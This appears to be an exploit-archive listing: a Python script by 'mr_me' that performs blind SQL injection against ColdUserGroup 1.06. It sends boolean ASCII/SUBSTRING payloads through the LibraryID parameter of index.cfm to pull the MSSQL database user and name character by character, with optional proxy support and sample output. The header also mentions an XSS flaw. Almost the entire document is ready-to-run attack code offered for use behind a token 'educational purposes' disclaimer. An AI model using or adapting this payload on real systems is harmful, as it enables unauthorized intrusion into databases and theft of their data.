ColdUserGroup 1.06 Blind SQL Injection Exploit

2010-09-07 18:15:21

#!/usr/bin/python

# ColdGen - coldusergroup v1.06 0day Remote Blind SQL Injection Exploit

# Vendor: http://www.coldgen.com/

# Found by: mr_me

# ----------------------------------------------->

# Script provided 'as is', without any warranty.

# Use for educational purposes only.

# Do not use this code to do anything illegal !

# ----------------------------------------------->

# The vulnerabilities:

# ===================

# - Blind SQL Injection in the index.cfm using parameters: ArticleID & LibraryID

# - XSS in the search

#

# This tool assumes the target has a MSSQL backend.

# ./ColdUsrGrp0day.py -p localhost:8080 -s "Author:" -t localhost:8500 -d /coldusrgrp/

#

# | ----------------------------------------------------------------- |

# | -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |

# | -------------------[ by mr_me - net-ninja.net ]------------------ |

#

# (+) Exploiting target @: http://localhost:8500/coldusrgrp/

# (+) Using string 'Author:' for the true page

# (+) This will take time, have patience..

#

# (+) Testing Proxy...

# (+) Proxy @ localhost:8080

# (+) Building Handler..

#

# (!) Getting database user: sa

# (!) Getting database name: coldusergroup



import sys, urllib, re

from optparse import OptionParser



usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"

usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t localhost:8500 -d /coldusrgrp/"



parser = OptionParser(usage=usage)

parser.add_option("-p", type="string",action="store", dest="proxy",

help="HTTP Proxy <server:port>")

parser.add_option("-t", type="string", action="store", dest="target",

help="The Target server <server:port>")

parser.add_option("-d", type="string", action="store", dest="directory",

help="Directory path to the CMS")

parser.add_option("-s", type="string", action="store", dest="trueStr",

help="String that is on the 'true' page")

(options, args) = parser.parse_args()



def banner():

print "\n\t| ----------------------------------------------------------------- |"

print "\t| -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |"

print "\t| -------------------[ by mr_me - net-ninja.net ]------------------ |\n"



if len(sys.argv) < 5:

banner()

parser.print_help()

sys.exit(1)



def setTargetHTTP():

if options.target[0:7] != 'http://':

options.target = "http://" + options.target

return options.target



def getProxy():

try:

proxy = {'http': "http://"+options.proxy}

opener = urllib.FancyURLopener(proxy)

except(socket.timeout):

print "\n(-) Proxy Timed Out"

sys.exit(1)

except(),msg:

print "\n(-) Proxy Failed"

sys.exit(1)

return opener



def getRequest(exploit):

if options.proxy:

try:

options.target = setTargetHTTP()

opener = getProxy()

check = opener.open(options.target+options.directory+exploit).read()

except urllib.error.HTTPError, error:

check = error.read()

except socket.error:

print "(-) Proxy connection failed"

sys.exit(1)

else:

try:

check = urllib.urlopen(options.target+options.directory+exploit).read()

except urllib.error.HTTPError, error:

check = error.read()

except urllib.error.URLError:

print "(-) Target connection failed, check your address"

sys.exit(1)

return check



basicInfo = {'user':'user_name(0)', 'name':'db_name(0)'}



def getBasicInfo(info, x):

for i in range(32,126):

request = ("index.cfm?actcfug=LibraryView&LibraryID=209+AND+ISNULL"

"(ASCII(SUBSTRING(CAST((SELECT+LOWER("+info+"))AS+varchar(8000)),"+str(x)+",1)),0)="+str(i))

result = getRequest(request)

if re.search(options.trueStr,result):

x = x+1

sys.stdout.write(chr(i))

getBasicInfo(info, x)



if __name__ == "__main__":

x = 1

banner()

options.target = setTargetHTTP()

print "(+) Exploiting target @: %s" % (options.target+options.directory)

print "(+) Using string '%s' for the true page" % (options.trueStr)

print "(+) This will take time, have patience.."

if options.proxy:

print "\n(+) Testing Proxy..."

print "(+) Proxy @ %s" % (options.proxy)

print "(+) Building Handler.."



for key in basicInfo:

sys.stdout.write("\n(!) Getting database " + key + ": ")

getBasicInfo(basicInfo[key], x)

Fixes

No fixes

In order to submit a new fix you need to be registered.